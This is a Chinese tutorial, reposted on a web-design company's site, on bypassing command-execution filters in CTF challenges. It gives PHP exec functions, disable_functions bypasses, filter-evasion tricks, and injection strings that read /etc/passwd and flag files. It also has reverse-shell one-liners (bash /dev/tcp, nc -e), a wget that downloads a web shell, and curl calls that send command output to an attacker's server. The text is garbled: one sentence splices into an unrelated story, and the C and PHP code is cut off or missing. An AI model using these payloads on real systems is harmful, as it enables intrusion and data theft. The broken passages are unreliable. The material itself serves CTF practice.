今天就跟大家聊聊有關(guān)CTF中的命令怎樣執(zhí)行繞過,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
成都創(chuàng)新互聯(lián)公司長期為成百上千客戶提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對(duì)不同對(duì)象提供差異化的產(chǎn)品和服務(wù);打造開放共贏平臺(tái),與合作伙伴共同營造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為平泉企業(yè)提供專業(yè)的成都做網(wǎng)站、網(wǎng)站設(shè)計(jì),平泉網(wǎng)站改版等技術(shù)服務(wù)。擁有十多年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開發(fā)。
在介紹命令注入之前,有一點(diǎn)需要注意:命令注入與遠(yuǎn)程代碼執(zhí)行不同。他們的區(qū)別在于,遠(yuǎn)程代碼執(zhí)行實(shí)際上是調(diào)用 當(dāng)時(shí)那道題目的靈感是來自于一場安全響應(yīng),黑客攻陷網(wǎng)站后,在里頭插入了混淆以后的代碼,1000多個(gè)文件里面只有一條路徑是正常執(zhí)行的,最后是使用debug直接看棧內(nèi)存的調(diào)用來判斷哪個(gè)路徑是真的動(dòng)態(tài)調(diào)用。 常見的命令執(zhí)行函數(shù) 常見命令執(zhí)行函數(shù)
system()
passthru()
exec()
shell_exec()
`反引號(hào) 反引號(hào) ? ~ php -r "echo @whoami;" 這個(gè)是大家很容易忘記的一個(gè)命令執(zhí)行點(diǎn),ctf賽題最近也出了很多道關(guān)于這個(gè)的題目。我們在第二篇中會(huì)拿一個(gè)例子來詳細(xì)分析他的作用。 命令執(zhí)行繞過 以上是我們常見的代碼注入或者是命令注入的函數(shù),但是很多時(shí)候在ctf中,出題人不會(huì)那么輕易的就讓我們執(zhí)行命令。因此我們必須要能夠掌握多種命令執(zhí)行繞過的姿勢。 一般來說,遇到的無非以下兩種情況: disable_function 過濾字符 disable_function 這個(gè)東西很明顯就是什么呢,你能夠代碼執(zhí)行了,但是發(fā)現(xiàn)不論是蟻劍還是你自己手打,都執(zhí)行不了系統(tǒng)命令,然后你用phpinfo這種函數(shù)讀取后發(fā)現(xiàn)如下配置: 實(shí)際上是開發(fā)者在后端的php.ini里寫了如下語句 disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkDNSrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname 最常用的就是兩種辦法 ld_preload php_gc ld_preload 今年來比較少考到,但是在紅藍(lán)攻防中很經(jīng)常應(yīng)用 需要對(duì)面滿足條件是:對(duì)面沒有禁用mail函數(shù)(可能這也是最近比賽不愛考這個(gè)的原因之一,如果禁用了mail,那等于就是考察別的點(diǎn)了,不禁用mail又一堆人用這個(gè)方法繞過,也很沒有意思)操作方法: hack.c #include 將帶有命令的c文件編譯成為.so文件然后通過代碼執(zhí)行傳入(這里可以直接用蟻劍) gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so 然后傳入如下php文件 訪問php文件就可以運(yùn)行剛才的命令了。然后可以在/tmp/smity文件下看到ls的結(jié)果。 php_gc 從這兩次公益賽來看這個(gè)都是考點(diǎn)(春秋和高校)兩次的題目分別是:easy-thinking和php-uaf都是做到了代碼執(zhí)行卻沒有命令執(zhí)行,所以通常步驟就是,利用蟻劍鏈接我們的shell代碼執(zhí)行,將下面的腳本寫好命令傳上去然后訪問,利用phpgc進(jìn)程Bypass 條件:php7.0 < 7.3 (Unix) 這里的大家可以參考這個(gè)博客,里面有比較詳細(xì)的腳本,因?yàn)樘L了就不貼在這里了 https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/ 過濾字符 這個(gè)限制一般是題目中允許你使用system,但是很奇怪的是你卻沒有辦法獲取執(zhí)行命令的結(jié)果 比如,對(duì)面過濾了空格,你能執(zhí)行l(wèi)s,但是沒法cat讀取文件 比如,對(duì)面過濾了flag這個(gè)詞語,什么文件都可以讀取,就是沒辦法讀取flag 等等,都是ctf題目做到最后,這個(gè)出題人小心思故意在這里卡你一下。這個(gè)時(shí)候你就需要試試我接下來講的這些方法: 空格代替 空格在bash下,可以用以下字符代替空格 <
${IFS}
$IFS$9
%09 root@kali:~# cat 這里解釋一下${IFS},$IFS,$IFS$9的區(qū)別,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的時(shí)候,bash解釋器會(huì)把整個(gè)IFSa當(dāng)做變量名,所以導(dǎo)致沒有辦法運(yùn)行,然而如果加一個(gè){}就固定了變量名,同理在后面加個(gè)$可以起到截?cái)嗟淖饔?,?9指的是當(dāng)前系統(tǒng)shell進(jìn)程的第九個(gè)參數(shù)的持有者,就是一個(gè)空字符串,因此$9相當(dāng)于沒有加?xùn)|西,等于做了一個(gè)前后隔離。 截?cái)喾?hào) ctf很喜歡考的一點(diǎn)是命令執(zhí)行的連接,這個(gè)地方它通常會(huì)給一個(gè)已有的命令執(zhí)行,比如代碼寫好了ping命令,叫你填寫一個(gè)ip參數(shù)這樣的題目,這個(gè)時(shí)候就需要測試截?cái)喾?hào),將你輸入的ip參數(shù)和后面要執(zhí)行的命令隔開。首先測試所有的截?cái)喾?hào): ‘$’‘;’‘|’‘-’‘(’‘)’‘反引號(hào)’‘||’‘&&’‘&’‘}’‘{’%0a可以當(dāng)作空格來用; 利用截?cái)喾?hào)配合普通命令簡單問題基本就出來;例如:ip=127.0.0.1;cat /home/flag.txt這樣就可以達(dá)到同時(shí)執(zhí)行兩條命令的效果 這種繞過針對(duì)的是系統(tǒng)過濾敏感字符的時(shí)候,比如他過濾了cat命令,那么就可以用下面這種方式將cat先base64編碼后再進(jìn)行解碼運(yùn)行。 root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world! 連接符,用兩個(gè)單引號(hào)可以繞過 cat /etc/pass'w'd這個(gè)是現(xiàn)在很喜歡考的點(diǎn)之一,基本能通殺大部分命令注入waf因?yàn)閱我?hào)一旦過濾很大程度上會(huì)影響正常解題。 反斜杠利用 這個(gè)是很經(jīng)典的hitcon題目,hitcon連續(xù)好幾年出了繞過長度限制執(zhí)行命令的題目 比如七個(gè)字符執(zhí)行命令 七個(gè)字的命令執(zhí)行 這里先介紹一下小技巧,linux下創(chuàng)建文件的命令可以用1>1創(chuàng)建文件名為1的空文件 ls>1可以直接把把ls的內(nèi)容導(dǎo)入一個(gè)文件中,但是會(huì)默認(rèn)追加 \ 在linux里也是個(gè)連接符,最早使用在屏幕不能容納超過18個(gè)字符的第一代計(jì)算機(jī),用于連接上下兩行,這里使用它來繞過限制 語句為wget 域名.com -O shell.php ls > a 寫入服務(wù)器文件然后sh a 讀取 這里注意.不能作為文件名的開頭,因?yàn)閘inux下.是隱藏文件的開頭,ls列不出來 然而這里還有個(gè)問題,就是ls下的文件名是按照字母順序排序的,所以需要基于時(shí)間排序 將最后的命令改成ls -t>a 至于繞過5個(gè)字符執(zhí)行命令,繞過4個(gè)字符,那其實(shí)都是用\做的trick,這里不一一贅述了。 命令執(zhí)行結(jié)果返回長度受限制 這次在高校戰(zhàn)役上有一道題目提醒了我這個(gè),出題人其實(shí)能過濾的就那么多,那么還有一種方法卡住你就是不讓你看到命令執(zhí)行的完整結(jié)果,比如不回顯或者是回顯一行,這次題目需要用道soapclient做代碼執(zhí)行,但是它有一點(diǎn)不好就是沒辦法回顯完整,只能看到一行結(jié)果,這樣對(duì)我們的命令執(zhí)行很不方便,而且dev文件沒有權(quán)限使用,這個(gè)時(shí)候我們可以用下面這個(gè)反彈shell的辦法。 其實(shí)反彈shell的命令大家很喜歡用這個(gè): bash -i >& /dev/tcp/ip/port 0>&1 但是這個(gè)有一點(diǎn)不好,他需要dev也需要bash,實(shí)際上用我下面這個(gè)命令會(huì)更簡單:監(jiān)聽端口后 nc -e /bin/bash ip port 這樣也可以拿到shell,其實(shí)本質(zhì)是一樣的,沒有太大區(qū)別,只是簡化了一下。 一道很經(jīng)典的命令執(zhí)行繞過 這個(gè)題目好像看到兩次了,一開始大家都不會(huì)腦洞,后來發(fā)現(xiàn)這次還是好多人沒有學(xué)會(huì),也沒有去總結(jié)poc: 首先先明白這個(gè)地方限制了什么 限制了只能代碼執(zhí)行 限制了只能執(zhí)行一個(gè)變量$x 限制了這個(gè)變量的長度 所以這個(gè)地方一共有兩個(gè)思路 傳入數(shù)組,讓他能夠執(zhí)行多個(gè)變量,因?yàn)?_GET是個(gè)數(shù)組,但是這個(gè)思路是錯(cuò)誤的,因?yàn)镚ET雖然能傳入多個(gè)變量,但是已經(jīng)限制了只能執(zhí)行$x,而$x來自GET數(shù)組里鍵值為x的變量,所以第這個(gè)我們放棄。 反引號(hào)執(zhí)行自己,傳入$x本身,也就是說,直接讓$_GET['x']=$x,這樣一來 ,就會(huì)使得$x=$x,如果$x是命令,就會(huì)通過反引號(hào)自己來執(zhí)行它 如果$x后面再跟上我們之前講的連接符會(huì)是什么樣呢 `$x`;abcd 那么即使取出前5個(gè)字符,還是會(huì)執(zhí)行整個(gè)的$x,用上分隔符就會(huì)執(zhí)行多條命令 假設(shè)我們在這里加點(diǎn)難度,沒有回顯,執(zhí)行命令但是不給你結(jié)果,怎么辦呢? 兩種方法 反彈shell curl 反彈shell,我們這里可以使用;來連接命令, $x;nc -e /bin/bash ip port 然后在自己服務(wù)器端口 nc -lvv 8080進(jìn)行監(jiān)聽 但是這題要是再難一點(diǎn),沒有權(quán)限執(zhí)行反彈shell這個(gè)操作呢 我們還可以用另一種方法: curl的妙用 在curl里面有這幾種方式 直接ip發(fā)送get包 -d發(fā)送post包 -v 顯示整個(gè)通信過程 --data發(fā)送數(shù)據(jù) 這里可以使用curl -v http://ip?whoami 或者 curl -v http://ip --data whoami IP為自己服務(wù)器,就可以在/var/log/apache2/access.log下看到命令執(zhí)行的結(jié)果了。 看完上述內(nèi)容,你們對(duì)CTF中的命令怎樣執(zhí)行繞過有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝大家的支持。利用base編碼繞過
分享文章:CTF中的命令怎樣執(zhí)行繞過
本文URL:http://weahome.cn/article/jcppgg.html